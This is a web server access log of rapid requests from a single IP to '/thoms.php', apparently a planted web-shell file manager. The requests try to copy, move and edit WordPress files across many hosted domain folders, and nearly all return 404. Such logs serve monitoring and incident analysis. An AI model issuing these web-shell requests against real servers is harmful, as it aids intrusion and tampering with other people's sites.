45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?edit=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /biotaiwan.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:39 -0400] "GET /thoms.php?edit=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
